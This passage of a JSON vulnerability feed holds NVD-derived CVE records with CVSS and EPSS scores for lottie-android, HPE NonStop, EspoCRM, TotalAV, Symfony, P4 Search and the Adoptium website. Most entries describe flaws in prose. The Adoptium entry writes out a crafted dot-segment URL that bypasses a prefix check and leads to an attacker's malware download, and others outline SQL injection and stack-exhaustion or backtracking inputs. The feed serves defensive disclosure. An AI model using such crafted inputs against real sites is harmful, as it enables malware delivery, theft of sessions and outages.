exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-95179","cveId":"CVE-2026-95179","aliases":[],"kind":"vulnerability","title":"An issue in lottie-android 6.7.1 and earlier (and master) allows a remote attacker to cause a denial of service via a crafted Lottie animation JSON containing a cyclic...","summary":"An issue in lottie-android 6.7.1 and earlier (and master) allows a remote attacker to cause a denial of service via a crafted Lottie animation JSON containing a cyclic precomposition reference graph that triggers uncontrolled recursion in BaseLayer.forModel and CompositionLayer.","detail":"An issue in lottie-android 6.7.1 and earlier (and master) allows a remote attacker to cause a denial of service via a crafted Lottie animation JSON containing a cyclic precomposition reference graph that triggers uncontrolled recursion in BaseLayer.forModel and CompositionLayer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T15:17:38.790Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-95179","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00417,"percentile":0.35782,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-95179&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-95179","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95179","type":"primary","publishedAt":"2026-10-15T15:17:38.790Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-95179&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-95179, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79840","cveId":"CVE-2026-79840","aliases":[],"kind":"vulnerability","title":"A buffer overflow vulnerability in HPE NonStop XABroker may cause memory corruption, resulting in application crash.","summary":"A buffer overflow vulnerability in HPE NonStop XABroker may cause memory corruption, resulting in application crash.","detail":"A buffer overflow vulnerability in HPE NonStop XABroker may cause memory corruption, resulting in application crash.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T15:17:37.810Z","updatedAt":"2026-10-15T19:17:44.227Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79840","asOf":"2026-10-15T19:17:44.227Z"},"epss":{"probability":0.00094,"percentile":0.00593,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79840&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79840","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79840","type":"primary","publishedAt":"2026-10-15T15:17:37.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79840&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79840, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79839","cveId":"CVE-2026-79839","aliases":[],"kind":"vulnerability","title":"A buffer overflow vulnerability in HPE NonStop ODBC/MX Server may cause memory corruption, resulting in application crash.","summary":"A buffer overflow vulnerability in HPE NonStop ODBC/MX Server may cause memory corruption, resulting in application crash.","detail":"A buffer overflow vulnerability in HPE NonStop ODBC/MX Server may cause memory corruption, resulting in application crash.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T15:17:37.693Z","updatedAt":"2026-10-15T19:17:44.120Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79839","asOf":"2026-10-15T19:17:44.120Z"},"epss":{"probability":0.00094,"percentile":0.00593,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79839&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79839","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79839","type":"primary","publishedAt":"2026-10-15T15:17:37.693Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79839&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79839, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79838","cveId":"CVE-2026-79838","aliases":[],"kind":"vulnerability","title":"A buffer overflow vulnerability in HPE NonStop ODBC/MX Services may cause memory corruption, resulting in application crash.","summary":"A buffer overflow vulnerability in HPE NonStop ODBC/MX Services may cause memory corruption, resulting in application crash.","detail":"A buffer overflow vulnerability in HPE NonStop ODBC/MX Services may cause memory corruption, resulting in application crash.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T15:17:37.580Z","updatedAt":"2026-10-15T19:17:44.010Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79838","asOf":"2026-10-15T19:17:44.010Z"},"epss":{"probability":0.00094,"percentile":0.00594,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79838&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79838","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79838","type":"primary","publishedAt":"2026-10-15T15:17:37.580Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79838&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79838, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53574","cveId":"CVE-2026-53574","aliases":[],"kind":"vulnerability","title":"EspoCRM is an open source customer relationship management application.","summary":"EspoCRM is an open source customer relationship management application. From 8.1.0 until 9.3.8, an authenticated non-administrator can submit a crafted where parameter to the GET entity streamAttachments endpoint because that query path permits complex expressions. Boolean-based blind SQL injection can extract arbitrary database information, including active administrator session tokens, and can enable full privilege escalation. This issue is fixed in version 9.3.8.","detail":"EspoCRM is an open source customer relationship management application. From 8.1.0 until 9.3.8, an authenticated non-administrator can submit a crafted where parameter to the GET entity streamAttachments endpoint because that query path permits complex expressions. Boolean-based blind SQL injection can extract arbitrary database information, including active administrator session tokens, and can enable full privilege escalation. This issue is fixed in version 9.3.8.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T15:17:35.180Z","updatedAt":"2026-10-15T16:18:12.620Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53574","asOf":"2026-10-15T16:18:12.620Z"},"epss":{"probability":0.0021,"percentile":0.11087,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53574&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53574","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53574","type":"primary","publishedAt":"2026-10-15T15:17:35.180Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53574&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53574, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-110746","cveId":"CVE-2026-110746","aliases":[],"kind":"vulnerability","title":"A local privilege escalation vulnerability in TotalAV allows an unprivileged local user to forge the gRPC IPC authentication token, through loading IPC.dll and abuse the SYSTEM...","summary":"A local privilege escalation vulnerability in TotalAV allows an unprivileged local user to forge the gRPC IPC authentication token, through loading IPC.dll and abuse the SYSTEM service's within TotalAV to execute arbitrary code as NT AUTHORITY\\SYSTEM.","detail":"A local privilege escalation vulnerability in TotalAV allows an unprivileged local user to forge the gRPC IPC authentication token, through loading IPC.dll and abuse the SYSTEM service's within TotalAV to execute arbitrary code as NT AUTHORITY\\SYSTEM.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T15:17:28.487Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-110746","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00212,"percentile":0.11342,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-110746&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-110746","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110746","type":"primary","publishedAt":"2026-10-15T15:17:28.487Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110746&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110746, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109413","cveId":"CVE-2026-109413","aliases":[],"kind":"vulnerability","title":"In Symfony YAML prior to versions 5.4.54, 6.4.45, 7.4.18, and 8.1.6, Yaml\\Parser::lexInlineStructure() recursed through lexInlineMapping() and lexInlineSequence() for every { and...","summary":"In Symfony YAML prior to versions 5.4.54, 6.4.45, 7.4.18, and 8.1.6, Yaml\\Parser::lexInlineStructure() recursed through lexInlineMapping() and lexInlineSequence() for every { and [ of an inline collection, without entering the nesting level that the rest of the parser bounds with maxNestingLevel. A document made of deeply nested inline collections, such as [[[[...]]]], exhausted the stack while it was being lexed: depending on the PHP version and its stack settings, the process crashed or the request ended with a fatal error.\n\n\n\nAny code parsing untrusted YAML is affected. That includes #[MapRequestPayload] when the Yaml component is installed and the endpoint does not restrict acceptFormat: a single unauthenticated request with a YAML content type is enough.\n\n\n\nThis issue affects symfony/yaml through v5.4.53, v6.0.0-BETA1 through v6.4.44, v7.0.0-BETA1 through v7.4.17, and v8.0.0-BETA1 through v8.1.5.","detail":"In Symfony YAML prior to versions 5.4.54, 6.4.45, 7.4.18, and 8.1.6, Yaml\\Parser::lexInlineStructure() recursed through lexInlineMapping() and lexInlineSequence() for every { and [ of an inline collection, without entering the nesting level that the rest of the parser bounds with maxNestingLevel. A document made of deeply nested inline collections, such as [[[[...]]]], exhausted the stack while it was being lexed: depending on the PHP version and its stack settings, the process crashed or the request ended with a fatal error.\n\n\n\nAny code parsing untrusted YAML is affected. That includes #[MapRequestPayload] when the Yaml component is installed and the endpoint does not restrict acceptFormat: a single unauthenticated request with a YAML content type is enough.\n\n\n\nThis issue affects symfony/yaml through v5.4.53, v6.0.0-BETA1 through v6.4.44, v7.0.0-BETA1 through v7.4.17, and v8.0.0-BETA1 through v8.1.5.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T15:17:24.993Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109413","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00395,"percentile":0.3348,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109413&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109413","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109413","type":"primary","publishedAt":"2026-10-15T15:17:24.993Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109413&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109413, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108082","cveId":"CVE-2026-108082","aliases":[],"kind":"vulnerability","title":"Symfony is a PHP framework for web and console applications and a set of reusable PHP components.","summary":"Symfony is a PHP framework for web and console applications and a set of reusable PHP components. Prior to versions 5.4.54, 6.4.46, 7.4.19, and 8.1.7, HeaderUtils::split() parsed header values with a pattern whose token alternative also matched whitespace, followed by a (?<!\\s) lookbehind. A run of whitespace placed before a separator could be divided among the iterations of the enclosing repetition in exponentially many ways, and the engine tried all of them before settling. HeaderBag calls it for the Cache-Control header whenever a Request is built, so any application handling HTTP requests is reachable, with no authentication.\n\n\n\nA single request carrying such a header costs close to a second of CPU (813 ms for a run of 17 spaces in an 8 KB header on PHP 8.5, doubling with each extra space). From 18 spaces on, preg_match_all() gives up at pcre.backtrack_limit and split() returns an empty array, so every directive of the header is silently dropped.\n\n\n\nThis issue affects symfony/http-foundation v4.1.0-BETA1 through v5.4.53, v6.0.0-BETA1 through v6.4.45, v7.0.0-BETA1 through v7.4.18, and v8.0.0-BETA1 through v8.1.6.","detail":"Symfony is a PHP framework for web and console applications and a set of reusable PHP components. Prior to versions 5.4.54, 6.4.46, 7.4.19, and 8.1.7, HeaderUtils::split() parsed header values with a pattern whose token alternative also matched whitespace, followed by a (?<!\\s) lookbehind. A run of whitespace placed before a separator could be divided among the iterations of the enclosing repetition in exponentially many ways, and the engine tried all of them before settling. HeaderBag calls it for the Cache-Control header whenever a Request is built, so any application handling HTTP requests is reachable, with no authentication.\n\n\n\nA single request carrying such a header costs close to a second of CPU (813 ms for a run of 17 spaces in an 8 KB header on PHP 8.5, doubling with each extra space). From 18 spaces on, preg_match_all() gives up at pcre.backtrack_limit and split() returns an empty array, so every directive of the header is silently dropped.\n\n\n\nThis issue affects symfony/http-foundation v4.1.0-BETA1 through v5.4.53, v6.0.0-BETA1 through v6.4.45, v7.0.0-BETA1 through v7.4.18, and v8.0.0-BETA1 through v8.1.6.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T15:17:22.583Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108082","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.0048,"percentile":0.41142,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108082&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108082","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108082","type":"primary","publishedAt":"2026-10-15T15:17:22.583Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108082&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108082, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103509","cveId":"CVE-2026-103509","aliases":[],"kind":"vulnerability","title":"P4 Search (formerly Helix Search) returns stored credentials in cleartext through its configuration API to users with administrative privileges on the connected P4 Server,...","summary":"P4 Search (formerly Helix Search) returns stored credentials in cleartext through its configuration API to users with administrative privileges on the connected P4 Server, allowing privilege escalation.\nThis affects 2026.4.2 and earlier and is fixed in 2026.4.3.","detail":"P4 Search (formerly Helix Search) returns stored credentials in cleartext through its configuration API to users with administrative privileges on the connected P4 Server, allowing privilege escalation.\nThis affects 2026.4.2 and earlier and is fixed in 2026.4.3.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T15:17:20.757Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103509","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00229,"percentile":0.13587,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103509&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103509","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103509","type":"primary","publishedAt":"2026-10-15T15:17:20.757Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103509&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103509, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103508","cveId":"CVE-2026-103508","aliases":[],"kind":"vulnerability","title":"P4 Search (formerly Helix Search) allows an authenticated user holding administrative privileges on the connected P4 Server to supply a crafted logging configuration that causes...","summary":"P4 Search (formerly Helix Search) allows an authenticated user holding administrative privileges on the connected P4 Server to supply a crafted logging configuration that causes files to be written or deleted outside the intended logging directory. This could lead to code execution as the P4 Search service account. This issue affects P4 Search 2026.4.2 and earlier.\n\n\n\nPerforce resolved it in 2026.4.3.","detail":"P4 Search (formerly Helix Search) allows an authenticated user holding administrative privileges on the connected P4 Server to supply a crafted logging configuration that causes files to be written or deleted outside the intended logging directory. This could lead to code execution as the P4 Search service account. This issue affects P4 Search 2026.4.2 and earlier.\n\n\n\nPerforce resolved it in 2026.4.3.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T15:17:20.547Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:L/VI:H/VA:H/SC:L/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103508","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00424,"percentile":0.3639,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103508&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103508","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103508","type":"primary","publishedAt":"2026-10-15T15:17:20.547Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103508&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103508, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-93649","cveId":"CVE-2026-93649","aliases":[],"kind":"vulnerability","title":"In the Eclipse Adoptium website (adoptium.net), in every deployment built from commit 0b24ea1 (2025-06-18) up to the fix in commit cbb53cf (2026-09-24), the post-download page...","summary":"In the Eclipse Adoptium website (adoptium.net), in every deployment built from commit 0b24ea1 (2025-06-18) up to the fix in commit cbb53cf (2026-09-24), the post-download page /[locale]/download takes a download URL from the \"link\" query parameter and automatically navigates to it with a meta http-equiv=\"refresh\". The URL is checked against a list of trusted prefixes using String.startsWith() on the raw string, while the browser applies RFC 3986 dot-segment normalisation before navigating, so a value such as https://github.com/adoptium/temurin/../../attacker/malware/releases/download/v1/jdk.exe passes the check but resolves to an attacker-controlled repository. A victim who follows a crafted adoptium.net link is shown the genuine \"Thank you for downloading Eclipse Temurin\" page while their browser downloads a binary of the attacker's choosing","detail":"In the Eclipse Adoptium website (adoptium.net), in every deployment built from commit 0b24ea1 